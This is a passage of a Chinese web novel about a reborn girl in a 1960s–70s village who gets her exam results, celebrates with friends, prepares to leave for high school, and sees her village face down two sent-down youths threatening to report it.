蒲棒也断货两年了，家里现在夏天熏蚊子的，除了干薄荷叶就是干艾草。 有了新鲜的菜，钟家岗的咸菜厂或者说作坊终于又能开始营业了。 钟绍华还惦记着他那一份糖厂临时工的工作，可惜的是甘蔗和甜菜都不能像野菜一样，给点水分就能冒头，长的还飞快。 他想回去上班，也要等到这一季的作物种出来，糖厂收购到原料能够开工，他才能回去。 回不去糖厂，就老老实实帮村里干活也行。 钟家岗的小作坊工厂又拓展了一些业务，原先只是买腌咸菜，现在顺带着也腌*了一些鸡蛋鸭蛋。 好不好卖还不知，好吃是真的好吃。 鸡鸭吃河沟里新生的小鱼小虾，还有各种虫子下出来的蛋，蛋黄金灿灿的，腌成咸蛋，蛋黄出沙特别好，还油润润的，一戳就能流出金黄色的油脂，入口即化，咸香中还带着一丝鲜甜，吃过一次绝对还想再吃第二次。 咸菜价格低，鸡蛋鸭蛋价格高，相对而言利润也高，如果能做出名堂来，就能拿批条公对公去收购附近村子的蛋。 共饮一河水，都是散养的家禽，其他村子的鸡鸭也不会差到哪里去。 只是数量上有限制，每家每户能养的不多，这才需要到处去收购。 钟强先很鸡贼，这两年，人口普查，他在登记户口的时候，把村里人的户头分的开开的，已婚的儿子和老子就没有在一个户口本上的。 这样一来，村里各家能养的家禽数目就是别村的好几倍，这也是钟家不缺鸡蛋吃的原因。 之前外面连杂草都不好找，鸡鸭没处找食，他们养的数量也不够多，不是不想养，而是实在养不活。 现在河沟的水一涨上来，村里就开始让母鸡母鸭抱窝，孵蛋产小鸡小鸭，想方设法的增加各家的家禽数量。 在第一批鸡蛋鸭蛋孵化出来的时候，钟莹莹他们的中考成绩出来了。 这年头查分数的方法只有一个，去学校找老师。 孩子的事情比家里的活要重要，钟绍华架着牛车，载了他老妹和楚秀秀，直奔县城而去。 学校里挤了一大堆家长和学生，都在问考试成绩。 人太多了，校长就让学校老师把每个班的成绩和名次都给手抄下来，贴在各自班级的门口。 钟莹莹考的不错，全县第二，第一是另外一个班上，学习非常努力的一个女生，那家伙不分白天黑夜的学啊！钟莹莹自认为是卷不过她的。 钟莹莹比她分低在外语上，如果要是考英语，那肯定是钟莹莹在行，偏偏考的不是。 考试考的那犀利的弹舌音，说不好说，记不好记的，她能考到现在的成绩，已经觉得自己很厉害了。 往下继续翻找，很快找到几个小伙伴的名字，名次和成绩都很不错，想上中专抑或是高中，应该都简单的很。 楚秀秀也开心的很，她不想读高中，一心想去上中专，毕业了就当工人。 现在梦想马上就要成真，内心的表露直接体现在脸上，整个人喜笑颜开，小白牙收都收不回去。 “莹莹，我们几个都有学上了！”高家娣特别激动。 刚中考完，家里的境况也好了些，起码供她上学应当是没问题的，这何尝不是另外一种意义上的守得云开见月明。 老师那边纸质的报名表已经准备好了，学生可以选择现场填，直接交给学校，也可以拿回家，和父母商量一下，讨论好了再填写，过几天再交回来。 钟莹莹她们几个都是早想好要去哪所学校的，一个接一个没有犹豫直接填写报名表，当场封存了档案袋。 老师让他们过一个月后再来学校一趟，那时候基本上所有学校的录取通知都会下发，录取上了就有通知书，没录上啥也没有。 出了学校，每个人都眉飞色舞，兴高采烈。 想到以后可能很久都不会再见面，钟莹莹开口道：“要庆祝一下吗？我考的最好，走，我请大家吃冰棍去！” 五个小伙伴里有四个都囊中羞涩，就钟莹莹和祁绮兜里有点钱和票，以前那四个不咋吃别人给的东西，怕没办法回礼，但这次她们都点点头同意了。 今天这是特殊情况，不叫占便宜，叫沾喜气。 小女生的聚会，钟绍华不好加入，就找了个阴凉地，守着牛车，等他妹妹和朋友聚完再一起回家。 第78章 “给，一人一只，牛奶味的，最贵的！”冰棍不要票，给钱就行，有两分的，和五分的，钟莹莹大气的很，买的是五分的。 李红雪接过一根，拆开包装纸，用舌尖小口小口的慢舔，嘴里还念叨着：“哎呀，今天可真是托了莹莹的福了，不然哪有这好福气，大夏天的吃上冰棍。” 楚秀秀也拿了一根，和钟莹莹道了声谢后，斯文的慢慢咬着吃。 这群小姐妹钟莹莹上辈子比较熟悉的只有楚秀秀，后来她也不姓楚，姓赵，她被老楚送给隔壁村一家没有孩子的养了。 老楚当时想再拼一个儿子，最后也没能如愿，去世的时候让人去通知这个被送养的小女儿，直到他闭眼，那时的赵秀秀也没回来看一眼。 好多人骂她狠心，但是也有人说她是个聪明人的，因为那时老楚媳妇还没死，如果认亲了，她就得养那个生母。 钟莹莹倒是挺喜欢她的性格的，能拎的清，不被亲情裹挟，已经是很多人做不到的了。 其他人钟莹莹没有什么交集，她出生的时候，她们已经成了老奶奶啦。 这辈子，老楚的儿子没有死，虽然傻了，但是楚秀秀的命运也完全被改变了。 天真可爱，没吃过太大苦头的秀秀，钟莹莹也仍旧很喜欢。 重活一世，除了改变家人早死的命运外，她最开心的就是结识了这么一群活泼可爱的朋友。 这都是真朋友，能传给下一代的宝贝，可不是后世随时可能捅你一刀的假朋友真仇人。 “放假你们打算做什么？”冰棍化的有点快，祁绮一边飞速的舔舐即将滴落的液体，一边跟小姐妹们说话。 吴月吃着冰棍，想也不想的回答：“能干什么？肯定是留在家里干活了。” 吸溜～牛奶味的真好吃，上次吃雪糕还是好几年前呢，吃的还是最便宜的，三分的。 小小一支冰棍，愣是让大家吃出来山珍海味的感觉。 “对啊，得搁家干活攒学费呢！”高家娣赞同的点点头。 地里种的菜，长出来村里吃不完，就能卖给下乡采购的单位，多种点，多得些钱。 多攒些钱，多囤些粮。 闹饥荒那会儿，要不是跟着钟莹莹到处挖东西，家里藏了粮食，只靠村里的食堂？后期天天喝树叶子水，真能饿死人。 她没有太大的野心，只希望能够吃饱穿暖，再多的就是囤点东西，囤货会让她有安全感。 祁绮感觉有些无聊：“咋就我一个人没事干呢！” 家里用不着她干活，也不需要她赚钱。 毕业了，连作业也没有了，总不能一整个假期都无所事事吧？ 搁家咸鱼躺这么多天，她已经躺够了。 钟莹莹心里暗道可恶，又被她给装到了。 自己天天在村里干干这，忙忙那的，人都晒黑了，祁绮在家享福还能闲出毛病来了？自己这个穿越重生的，还没一个土著凡尔赛！ 六个人中，只有她和祁绮报了高中。 报名的时候老师还劝了，让她俩再考虑一下去上中专，毕业立马就能分配工作当工人。 祁绮是家里不缺钱，小伙伴们大多去读中专，她当时被搞的也有点想上中专了，但是家里人让她读高中，说是考上大学再工作会好一些。 她嫂子也跟着劝，本来她也不是很坚定，没劝几句她就同意了。 后面知道钟莹莹想报市里的高中，她想也不想的跟着抄了一遍志愿表。 要考大学读一个录取率比较高的高中，总比最后高中毕业却没考上强。 留在县中学上本部的高中，同学都跑光了，她一个也没意思，还不如跟着钟莹莹一道去市里呢！ 就是去市里读书不方便回家，可能得一两个月或者一学期才能回来一趟，这让从来没离开过家的祁绮兴奋中又带着一丝恐慌。 “咱们县有糖厂、砖厂、煤矿厂……怎么你们都愿意去报跟糖厂合作的中专啊？”祁绮有些好奇。 这大小姐两耳不闻窗外事，一心只读圣贤书，不知民间疾苦啊！ 李红雪没好气道：“你想去挖煤搬砖啊？搁糖厂干活，没事能混点糖吃，去矿上，整天搞的灰头土脸的，还累出一身病。” “运气好的，能活到退休，运气不好的，矿一塌，直接活埋了，到时候赔点钱给家里人，你都死了，还顶什么用？ 她想赚钱是为了让自己过上好日子，而不是把自己的命给搭进去，然后给家里人换来好日子。 以后工作了，赚的大头的钱得自己拿着，花到自己身上，多的再拿回家去，给爹娘。 如果全都交回去，那一定会被他们给花到弟弟身上，她自己是得不到什么的。 到时候养出个好逸恶劳的弟弟，她不要太惨。 祁绮傻不拉叽的回答：“是……是哦！”说的很有道理呢，就算是她，也不愿意去干那些苦累活的。 有更好的选择，傻子都知道要选更好的那个。 说着说着六人的小团体就自动分化为了两个。 一个由高家娣、李红雪、楚秀秀、吴月四人组成的中专小团体，一个由钟莹莹和祁绮组成的高中小团体。 中专也在他们县，不需要到外面去读，所以她们四个一直在叽叽喳喳开学了要怎么怎么样。 祁绮则是在跟钟莹莹讨论开学了要怎么去学校，是坐火车还是乘坐公交车。 他们的排名都出来了，根据往届录取情况，距离被录取也只差一张录取通知书了。 往市里去的公交，十天发一班，凌晨出发，晚上能到。 颠簸不说，路上还可能会遇到些突发情况。 “还是坐火车吧，更安全一些！” 公交路上没准遇见劫道的，祁绮坐过一回，人都快被吓死了。 那么粗的树，直接被砍了，拦在路中央。 如果不是有武警路过，那一车的人都要遭殃，司机手里面有家伙，可劫道的那伙人手里也有家伙啊！ 他一个人，加上一个副手，哪敌得过人家车轮战。 想到这些，她心有余悸的拍拍胸口，然后啃完木棍上的最后一点雪糕，转头问钟莹莹：“你家能买到卧铺票吗？要不我让我爹娘顺带把你的票也买了？” 开学去报名，带的行李多，火车上乱八七糟的都是人，指定是卧铺更安全些，能放的行李也多。 要是能搞到高级软卧，四个人一个车厢，她跟着钟莹莹带着家长，那就一点也不用担心丢东西。 之所以敢开口问钟莹莹，也是因为她舍得请同学吃冰棍，而且还去过海市，家庭条件不算差，像其他几个，如果要是还跟她一起去市里读高中，她是不敢开这个口的。 明知人家没钱，还说这种话，那不是故意炫耀，找抽呢吗！ “麻烦吗？如果费劲的话，不要卧铺也行，坐硬座一样花不了多长时间。”钟莹莹无所谓，能有更舒服的交通方式，她肯定愿意，没有的话，火车硬座也不是不能坐。 祁绮咬着雪糕棍开心的很，她就知道钟莹莹会同意，她开口道：“不麻烦的，我爹我娘都有购买名额，你来，我爹娘只能去一个，还能帮着省点钱。” “就是有点可惜，咱俩身高都超了，不然还能再省下两张票钱。” 一米二以下的儿童不用买票，钟莹莹都十一了，身高早超过了这个高度，祁绮自己也不是个矮的。 因此，她们只能很遗憾的错过这个福利了。 钟莹莹：“行，那就谢谢你了，你回头算算多少钱，能拿通知书的时候，我给你钱！” 人家帮她买票，说两句客气话，她也不能理所当然的就接受，该感谢的还是要感谢。 祁绮开玩笑道：“钱你啥时候给都行，我都知道你家住哪，你还能跑了不成？” “说的也是。”钟莹莹咧嘴一笑：“你还怪聪明嘞！” 冰棍吃完，聊了这么长时间，也到了各回个加我，各找各爹娘的时刻了。 带着楚秀秀告别其他小伙伴，钟莹莹又买了一根绿豆冰棍，给她哥带的。 不是她抠门，是钟绍华不喜欢牛奶味的。 买完冰棍她怕化了，拉着楚秀秀直接跑起来，一路跑回了学校门口。 “冰棍？只买了一根？你俩不吃啊？”钟绍华皱眉：“是不是没钱了，哥这里有，拿去再买两根！” 楚秀秀解释道：“绍华哥，不是的，我们两个吃过了，还是莹莹请我吃的。” “那就行。”钟绍华这才作罢，接过冰棍吃了起来。 别说，热了小半天，来一根冰棍就是爽。 吃完冰棍，钟绍华把包装纸揣兜里，让她俩上车：“走，哥带你们去国营饭店，买点东西带回家吃！” 大喜的日子，总该好好庆祝庆祝。 家里其他人都不在这，他们不好吃独食，自己下馆子，买了吃食，打包带回去就刚刚好。 外面卖的东西和家里做的不一样，家里的也好吃，但是外面的味道更足，估计是调料比家里的多。 不赶巧，没赶上饭点，店里就只有点早上剩下的包子卖，钟绍华也不嫌弃，按家里人头每人买了一个，给楚秀秀也拿了一个。 付钱的时候，票不够，他私底下找服务员多加了些钱跟他换了一张票才成功付款。 第79章 “哇，今天竟然有肉包子吃！”钟新澄的眼睛都亮了。 “买这么多花多少钱啊？”陈显英有些心疼。 钟伟先拿了一个包子递到她嘴边：“孩子考的好，高兴嘛！” “今天晚上把家里的鸡杀一只，咱们啊也都好好庆祝庆祝！” 陈显英想说什么，话到嘴边又给咽下去了。 她无奈的说：“杀吧杀吧，杀了我再养新的！都是活祖宗！” 还没到过年呢，家里的鸡就杀了好几只了i，地主家也不带这样造的啊！ 好在新一批的小鸡也在生长中了，过几个月就能顶替这一批老的。 钟莹莹最近在家里过得非常滋润，学业已成定局，家里的活也干的差不多了，就是秧母田偶尔还需要人照料，去换水放水什么的，但是地头有水渠，也费不了几个功夫。 “娘，你这么早缝被子干嘛？”钟莹莹啃了一口地里新结的小黄瓜，趴在地上铺的席子上不解的问。 陈显英一边手指上下翻飞的缝纫，一边头也不抬的答：“你去上学，市里那么远，回来也不方便，提前给你把冬天的被子做好带过去，到时候也不会急的手忙脚乱！” 缝到最后线已经很短了，陈显英打了一个结，咬断线头，想重新穿根线，穿了几次都没穿进去，把针递给钟莹莹，让她给自己穿。 钟莹莹穿针时听她叹气道：“人老了啊，连根线都穿不进去了！” 钟明月也坐做凉席上，正给钟莹莹做新衣服呢，听到这话，她笑着说：“娘，你哪里老了？干活比我还有劲儿呢！” 陈显英知道她在宽慰自己，也不反驳。 她自己的身体情况自己清楚，确实大不如从前了，应该说自从那场手术后，就落下了一大截。 不过她觉得自己还是幸运的，起码病灶发现的早，现在还有命活，要是发现的晚，没准现在已经埋地里了。 想到这里，她满怀慈爱的看向自己的小女儿钟莹莹，这个孩子是她命里的福星啊，有了她之后，家里一次次躲过了多场灾祸。 生孩子的时候，还有人嘲笑她老蚌怀珠，不要脸，但是现在，她很庆幸自己晚年还能生出一个女儿来。 谈话间钟明月就把新衣服给做好了，她拉过钟莹莹，拿起衣服比划了一下，随即开口道：“嗯！很不错，看上去就挺合身，莹莹你快去屋里换上试一下，看看有没有哪里不合适，等下嫂子再给你改改！” 人靠衣裳马靠鞍，钟明月以前生活在城里，是最清楚有些人最爱以貌取人。 孩子穿的好些去学校，也能避免一些不必要的事情发生。 这布料是以前宋茹寄过来的，家里一直攒着没用，姜黄色的，很鲜亮，这时候店里很少有卖这种颜色的衣服。 钟明月给缝了一件半截袖，还缝了一件长袖衬衫，领口处秀了钟莹莹的名字，两件衣服上都缝了俩口袋，方便装东西。 裤子也做了两件新的，都是长裤，钟明月特意给裤脚做长了些，孩子正在长身体，个头一天一个样，做长点明年还能穿。 这几件衣服可谓是花光了家里所有的布料。钟家却没有人眼红，俩大侄随姑姑马首是瞻，钟明月和钟绍华这对哥嫂算是看着钟莹莹长大的，长嫂如母，长兄如父，更何况衣服还是她给做的。 至于钟伟先和陈显英这对亲生的父母，对孩子那就是更加的溺爱了，俩人恨不得把自己拥有的所有好东西都拿出来给孩子带上。 “真漂亮！”看着换上新衣服从屋里走出来的钟莹莹，钟明月发自内心的夸奖道。 陈显英也跟着夸：“明月你这手艺真好，这样子的衣服，我就做不出来！” 陈显英做衣服只会做些传统款式，简单粗暴的给缝上，穿上不漏风就行，至于美感，那是一点没有的。 就在三人欣赏着钟莹莹的新衣服时，钟明芳来了。 “哟，这小衣服，做的可真漂亮！”钟明芳一进门就瞧见了钟莹莹身上的这身新衣服，她遗传她娘，做东西都五大三粗的，没那么精致，但也不影响正常使用。 “姐！”钟莹莹被接二连三的夸，有些不好意思了。 “正好，姐给你买了新鞋，快去穿上试试，看和这一身搭不搭！”钟明芳把手里拎着的鞋盒打开，一双精致的黑皮鞋赫然在内。 陈显英看了一眼就知道这鞋子一定很贵，她有些担忧的看着钟明芳：“这鞋子不便宜吧？你婆婆知道吗？” 别到时候知道了，还闹的婆媳关系不和。 钟明芳大大咧咧道：“娘，你放心吧，我婆婆知道，她还夸我买的好呢！” 搬来钟家岗后，黄大花虽然不太明白钟家为什么在钟家岗的地位这么高，但是她识相，能分得清局势，知道和儿媳妇一家打好关系，准对自己没坏处。 所以对于钟明芳平常时不时的往娘家跑，偶尔还给娘家倒腾点东西，她都是睁一只眼闭一只眼的。 钟家小闺女考上市里的高中，那就是板上钉钉的大学生预备役了，以后有大出息的，毕业了就是领导。 她儿子虽然在公安局上班，但文化这一方面，是他永远的痛点，黄大花的大孙子前几年没考上，被黄有德送去当兵了。 俩小孙子还在学校上学呢，一个马上要读初中了，一个还在读小学。多跟钟家人接触接触，沾沾喜气，没准成绩能拔高点。 钟莹莹换上新鞋走了几步，感觉脚趾头处有点空空的，她开口道：“有一点大。” 钟明芳：“大就对了，我就是特意买这么大的。” 陈显英也跟着接话：“大点好，大点穿的事件长，等会娘给你做个垫子，塞鞋里面垫着就不大了。” 钟伟先跟钟绍华编的凉席也编好了。 因为不知道市高的床有多大，他们就按照家里给钟新澄睡的小床的尺寸编的，在小床尺寸的基础上又加大了几码，每向外扩一圈，就缝一圈封边，去了城里，要是床不够大，带把剪刀把外圈直接剪了修平就行。 俩大侄也准备了礼物，钟新澄送的是一盒草珠珠，村里小孩喜欢用这穿起来，做手链。 丽丽送的是发卡，她娘买的，她一直没舍得戴。 人还没出发，钟莹莹就收获了家人们满满的爱意。 隔壁邻居也来了，何止尧是过来借书的，他脑袋好了以后，就经常过来借钟莹莹的小学课本，还有笔记，他打算早点自学完小学课程，去考初中，然后上中专，毕业后养活妹妹和老万。 俩人一见面，钟莹莹开口道：“你跳级的事情准备的怎么样了？” 因着小狗阿黄的事情，钟莹莹跟何止尧的关系也变得熟络起来。 何止尧被人这么问，有些脸热：“差不多了，我准备明年再跳，稳妥一点！” 跳级归跳级，到时候考不上，那就尴尬了，稳一把，准没错。 何止尧见有些冷场，忽然开口道：“村里知青要回城了，你知道吗？” 因为回城名额的事，新老知青还闹起来了。 钟莹莹瞪大了眼睛：“什么时候的事？”她怎么不知道。 “村长把名额给了老知青，后来的那两个在闹呢！”何止尧觉得，王岳和朱志鑫压根没资格闹，人家老知青在村里帮忙做了多少事，他们后来的，基本上啥也没干，凭什么嘴一张就要名额？ 才来钟家岗几年，何止尧已经对这个地方有了深深的归属感。 “那个王岳又嚷嚷着要去县里举报，说我们钟家岗多养家禽，钻空子挖国家墙角呢！”这话是何止尧偷听到的。 那王岳不打算自己去，他指挥着让他的跟班朱志鑫去，结果朱志鑫不同意，两人吵起来了，声音有点大，正好把路过的何止尧听见。 这话说出去他不敢保证别人一定会信他，但是他还是想给村里人提个醒。 钟家岗的人都好好的，他大伯才不敢来找他和妹妹麻烦，要是钟家岗的人没了，他和妹妹肯定还会被捉回去，卖掉。 钟莹莹稍微冷静了一下：“我知道了，这件事情你就不要往外说了！我会告诉我爹的！” 何止尧姓何，不姓钟，心里有顾忌是应该的。 她姓钟，这话她去说，才更有可信度。 离开学不远了，她得在离开前，先为村里扫平隐患，还有之后可能会遇到的事情，之前遇到的外人都太友好，以后被送来的知青和下放人员就不一定了。 钟家岗地里位置好，江南水乡，但地势高，发大水一般也掩不着，村里人又少，真遇到事了，肯定好多人想来这里，她得给村里人打打预防针了。 “他真这么说？”钟伟先皱眉。 那王岳和朱志鑫，除了一开始作妖，他瞅着现在干活挺老实的！ “爹，我信他说的是真的！”何止尧没必要编造出这么个谎言来骗自己！ “我听说，我们村里后面还要来人，好像他们说有坏分子要被下放过来！”假的，钟莹莹自己杜撰的。 “而且，周岱他们走了，村里还会来新知青，城里粮食关系紧张着呢！” 城里不像村里，只要一有水，稍微种点东西，长出来大家就不缺吃的，城里得等农村地里粮食成熟了，运到城里，他们的粮食危机才能缓解。 第80章 父女俩到村长钟强先家，知青们正闹着呢！ 王岳红着脖子，喘着粗气冲钟强先吼：“凭什么名额要都给他们老知青啊！就因为他们来的早吗？” “我跟朱志鑫最近老老实实的干活，你们都看不见吗？五个名额啊！但凡你们给我俩一个也好啊！” “五个都给老知青，我也没看见他们比我们强在哪里啊？” 越说他越委屈，天天待在这破村里，不是干活就是干活，干活就算了，连饭都吃不饱。 好不容易看见点曙光，有回程的名额，却被告知跟自己一点关系都没有，名额全是人家的。 王岳心里苦啊！他也想回城！ 钟强先摊着手道：“那名额不是我不给你，这本来就是人家老知青的，你看这报纸，人家来下乡做了多少事，你们来做了什么？” 王岳一把拽过钟强先手里的报纸，看到上面的照片，他不敢置信的问：“这上面是周岱他们？不是他们凭什么啊？” 何着早来几年，还能上报纸，接受表扬？ “他们给咱们村做了插秧机，当时县里都来采访了！” “后面还做了播种机，这名额早几年就该发下来的！” “要不是城里这两年也不好过，粮食关系紧张，人家早都回城了！”钟强先淡定的很，这名额是谁的就是谁的，又不是他决定的，跟他有什么关系。 王岳要是想闹，有本事去县里闹！ 钟强先没想到，人家还真想过要去县里闹，不光闹，还要举报他呢！ 钟伟先听了全过程，才从人群中站出来：“王知青，听说你要去城里举报我们村的人偷养家禽？” 举报两字一出，场面立时鸦雀无声。 紧接着忽然人群中又像炸了锅一样爆发出巨大的讨论声：“举报？知青要举报我们？” 村民们一脸怀疑，他们这些年对知青多好啊！虽然没有让他们吃饱，但也没饿死过一个知青。 要知道，很多村子不光有知青饿死，自己本村的村民也有被饿死的。 这些知青要举报他们，村民们一下子就火了，抄起家伙就想干架。 王岳被这架势吓得哆哆嗦嗦，死不承认道：“我才没有！” 钟伟先看他这样子就知道他心里有鬼，看来他闺女说的是真的。 钟伟先想诈一诈他：“那我怎么听你和朱志鑫说，要写举报信去县里举报我们？” 王岳的脸霎时间白了，连他的同伙都被报出来了，他和朱志鑫那天的谈话真的被人发现了，可他那天明明确认过的，周围是没人的啊！ 柴火垛！只有柴火垛里能藏人，他一脸惊恐的望着钟伟先，没想到这个老家伙竟然会如此阴险，藏到柴火垛里偷听他们讲话。 朱志鑫也傻眼了，他真没想到那么隐蔽的地方还能被人给撞见。 王岳经历过一开始的恐慌后，内心反而变得‘平静’下来。 他张口就是：“难道你们没有挖国家墙角吗？上面明明说了，每家每户只能养四只鸡，你看你们每家养了多少？” 村里人家每家都养了七八只，有些过分的，还养了十几只，这都不是擦边，而是严重的视法律为无物。 说都说了，他接着又破罐子破摔道：“要么把回城名额给我一个，要么我就去城里举报你们，让你们都剃阴阳头，挂牌子游街去！” 这个诅咒恶毒至极，剃阴阳头，没有一个人能接受的了。 朱志鑫见场面反转，事情已经发展成这样，自己就算站村民那边也逃不了好，干脆也不再做墙头草，跟王岳站在了一起。 他开口就是：“我也要一个名额，不然就去举报你们！” 钟强先一开始听他们说举报，还有点害怕，真以为他们发现了什么自己不知道的纰漏。 听到是家禽这事，他笑着说：“难道你们不知道上面说的是每户四只鸡吗？” “我们村的人住在一起的，可不代表是一户，就拿我跟我大儿子来说，我们早都分户了！” “我们养鸡养鸭都是合法的，你们要举报就去吧！早点去，早点回，村里还有活要干呢！” “干不了活那就是逃避劳动，那到时候我可是要在你们的档案里记上一笔的！” 钟强先觉得自己以前对待这些之情还是太宽容了些，要是严格点，他们还不至于以为村里人都是些软包子，可以随便拿捏！ 王岳和朱志鑫懵圈了，分户？合法的？这都哪是哪啊？难不成他们又错了？ 周岱怕事情变得更糟糕，让村民们对他们这些老知青也生出意见，忙表明态度道：“王知青，钟家岗的村民一向都很遵纪守法，从来没干过违法的事情，我可以作证！” 其他几名老知青也站出来：“我们也可以做证！” 虽然一开始是抱着报效祖国，建设农村的决心下乡的，但是都这么多年了，该做的都做了，现在他们只想回家。 马上要离开钟家岗了，他们不希望再生波澜，影响他们回城的脚步。 “行了，都散了吧，该干活干活去，家里都没事了是吧？没事去田里把水渠清一清，闲着也是闲着。” “真想打架啊？想清楚了啊！打架一时爽，一会儿人家举报，把你们都抓走！” 村民们听这阴阳怪气的话，顿时哄笑一声，全都走了。 钟强先把围观村民驱散后，转头又看向王岳和朱志鑫：“至于你们俩，要举报，抓紧啊！” 他脸上的笑意，在王岳和朱志鑫两人眼中无异于是最恶毒的嘲笑，仿佛在说，看吧，早都告诉你们了，没用的！ 所有人都走了，只有王岳和朱志鑫留在原地。 “难道我们就这么算了吗？”王岳有些不甘心。 朱志鑫崩溃的大吼：“那你还想怎么样？” 要不是王岳非要拉着他说话，那天也不会被人撞见，他就不会被王岳拖下水。 不能回城就不能回城，待在钟家岗老老实实的干活，总有一天能回去的。 现在闹成这幅局面，人家随便在他们档案上添一笔，这辈子都别想回去了！ 这俩人的心历路程无人问津。 回家路上，钟莹莹开口问钟伟先：“爹，村长咋不把人给撵走啊？”他们留在村里万一以后还搞事怎么办？ 钟伟先摸摸她的头：“人家又没犯什么错，说要去举报，不还没去呢吗？” “再说了，就像你说的，撵走这两个，后面还会来新的，谁知道新来的又是什么样子？” 周岱他们*一来村里就给村里做了这么多贡献，他们也没想过后一批过来的知青品德竟然这么不行，谁有知道后面再来的人会不会更离谱了！ 与其搏一个未知，不如留下这两个站着名额，手里拿捏着他们的黑历史做为把柄，反而会比新来的更加容易操控。 他这个女儿，有点脑子，但是阅历不足，没见过人心险恶，还是得多练啊！ 经此一事，整个知青点变得更加沉默了，在周岱他们离去之前，都老老实实的下地干活，一点也没松懈。 等到真正要走的那一天，更是悄无声息。 不过前一天晚上，周岱把自己的一些书送到了钟家，留给了钟新澄。 这其中有一部分是他自己的，有一部分是之前邓荣留下的，他路上带着比较麻烦，回去之后家里也不缺这些东西，还不如把他们留下，留给更有需要的人。 陈显英从家里搜罗了些东西，硬塞给了周岱，让他路上给其他几个也分分。 有晒干的笋干和土豆片，有煮熟的鸡蛋，还有自家蒸的杂面馒头。 “不要嫌弃，咱们农村人，家里没啥好东西！”人家在村里给做了这么多好事，临走总不能让人家空着手走。 周岱推辞了几句，见陈显英是真心想送给他们，便收下了，他道：“怎么会嫌弃呢！这些都是好东西，我们回城了，想吃还不一定能吃到呢！” 这话说的是实话，如今的城里还处于缺粮的阶段，他们回城不一定有在村里过得好。 老知青们走了，钟莹莹也要去学校领通知书了。 之前和祁绮商量好了，拿到通知书先不回家，谁先去，谁就在学校门口的白杨树下等着对方。 钟莹莹得去拿火车票。 陈显英给了她二十块钱，给她说：“把车票钱给你同学后，记得请人家去供销社买点零嘴吃！” 买票这么大的事，俩孩子都没跟家里人沟通就决定了，买的还是卧铺票，这让陈显英认为自家占了人家很大便宜。 人情关系有来有往，占了便宜也要给人家一点甜头，不然双方迟早有一天会闹掰的。 “我知道了，娘，我会请她吃东西的，上次我还请她吃冰棍呢！”钟莹莹拿了钱，答应的很爽快。 两张卧铺票大概需要七八块，他们到市里路程不是特别长，但是祁绮说了，会买软卧，估计还要更贵一点，最贵不过再翻一倍，十六块足够了，还剩下四块钱，请祁绮吃点东西，她自己还能剩下些好处费，赚大了！魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 80-90 第81章 依旧是钟绍华送她们去的学校，钟新澄想跟，但他一出来就会闹着花钱买东西，钟绍华没带他。 “莹莹，秀秀，我在这里！”刚一到学校门口，钟莹莹就见祁绮在树下冲她们招手。 “我的通知书已经拿到了，老师不让我帮你们带领，你们快进去拿！我跟你们一块去！”钟绍华刚把牛车拴到树上拴好，祁绮就凑了上来。 “莹莹，你俩跟你同学去吧，人家都等着急了！”钟绍华很善解人意。 祁绮在朋友面前活泼，但在陌生人面前还是有些害羞的，她不太敢和钟绍华说话，只是一味的催促钟莹莹和楚秀秀快跟她走。 终于，她如愿以偿了。 和朋友走在学校的小路上，她小声吐槽道：“莹莹，你哥哥看起来有点吓人，我都不敢说话了！” 钟莹莹：“哪有啊？我哥人可好啦，你跟他熟了就好了！” 楚秀秀也跟着帮腔。 祁绮觉得好像确实是自己的问题，便跳过这个话题，接着说：“红雪她们都领了通知书回家去了，也不知咋来那么早！”比她这个住城里的还要早。 钟莹莹：“拿通知书太高兴了嘛，睡不着可不就早些来了，早拿早安心！” 李红雪吴月高家娣她们想早点拿到通知书，尘埃落定的心态钟莹莹很是理解。 家里条件差，要是考不上的话真得回家种田了，而且现在年龄也差不多到了乡下结婚的年纪，不去上学比种田还要惨的就是要嫁人。 拿到通知书的那一刻意味着她们彻底逆天改命，拥有了脱离农村的机会，任谁都会激动的睡不着觉。 她自己前世领大学录取通知书的时候不还是一样睡不着觉，一大早就早早的去了学校吗？所以小伙伴们的心情她理解，人之常情而已。 “对了，莹莹，火车票我还没给你，这是你的，一共两张，要是丢了不退不补的啊！” “多少钱？” “一共花了十三块，你给我这么多就行！” 钟莹莹掏出十五块递给她：“十三是车票钱，两块是辛苦费！” 祁绮接过了十三，想把两块退回去，钟莹莹硬塞给她，还说：“拿着把，我娘给了我二十，去掉车费，剩下的都是给我的，带你分两块，等放寒假的时候，买票记得也帮我买一张啊！” 祁绮撅撅嘴：“你就是不给我‘好处费’，我也帮你代买啊！” 都好几年的好朋友了，一点也不信任她。 钟莹莹：“拿人手短，吃人嘴软！我不光给你好处费，等会儿还要请你俩吃冰棍呢！” 一边说她还一边捏了捏祁绮的小脸蛋。 十五六岁的小女生，皮肤就是嫩啊，钟莹莹都有些爱不释手了。 楚秀秀在一旁却是有些羡慕的看着两人打打闹闹，那么多钱，她家里人是不会舍得给她出的，而钟莹莹却能那么轻而易举的拿出来。 楚秀秀忽然感觉有些庆幸，自己报的中专就在县里，不用坐火车去那么遥远的地方，不然的话她可能连往返的路费都拿不出来。 她深呼吸三次后才调整好自己的心态，重新欢天喜地的跟着小伙伴们一块进了老师办公室拿录取通知书。 校长李知德坐在办公室里，给同学们分发通知书，见她们仨过来，还亲切的说：“哟，是你们几个啊，我记得你们！都是好样的啊没一个落榜的！” 当初在宿舍里因为遭受不公平待遇悄然红了眼眶的小女孩，此刻全都被各类院校录取，即将踏入新的征程，李知德是衷心的为他们感到开心。 “校长好！” “校长好！” 钟莹莹没想到校长这个大忙人竟然还记得她们，看来当初刘老师事件，真的给校长留下了很深的印象。 “来，这是你的通知书……这是你的……都拿好了，不要弄丢了，也不要弄出弯折破损来，不然到时候人家学校不认，你们还得回我这里复读，到时候可不要哭鼻子哦！” 李知德小小的开了一个玩笑。 钟莹莹她们异口同声道：“知道了校长！谢谢校长！” 李知德摆摆手：“行了，拿了通知书就赶紧回家去吧！外面那么热，早点回去休息省得中暑！” 他话音刚落，钟莹莹他们正要走，刘老师就牵着刘兵进来了。 李知德眯起了眼睛：“哟，稀客啊！” 刘老师被开除后，李知德也没再见过他。 刘老师面色难看的喊了一句：“李校长！” 刘老师是来陪刘兵领录取通知书的，他考的很不理想，去不了市中，更上不了中专，最后擦边进了县中的高中部。 这让刘老师感到很没面子，尤其是刚刚在办公室外面偷听到他以前班上的女同学不是考上了市中，就去考上了中专。 这些事实无异于在他脸上狠狠的扇了一巴掌，并且大声的嘲讽他：你过去三十年的理念全都是错误的，男生才没有比女生聪明，反而女生要比男生聪明不少。 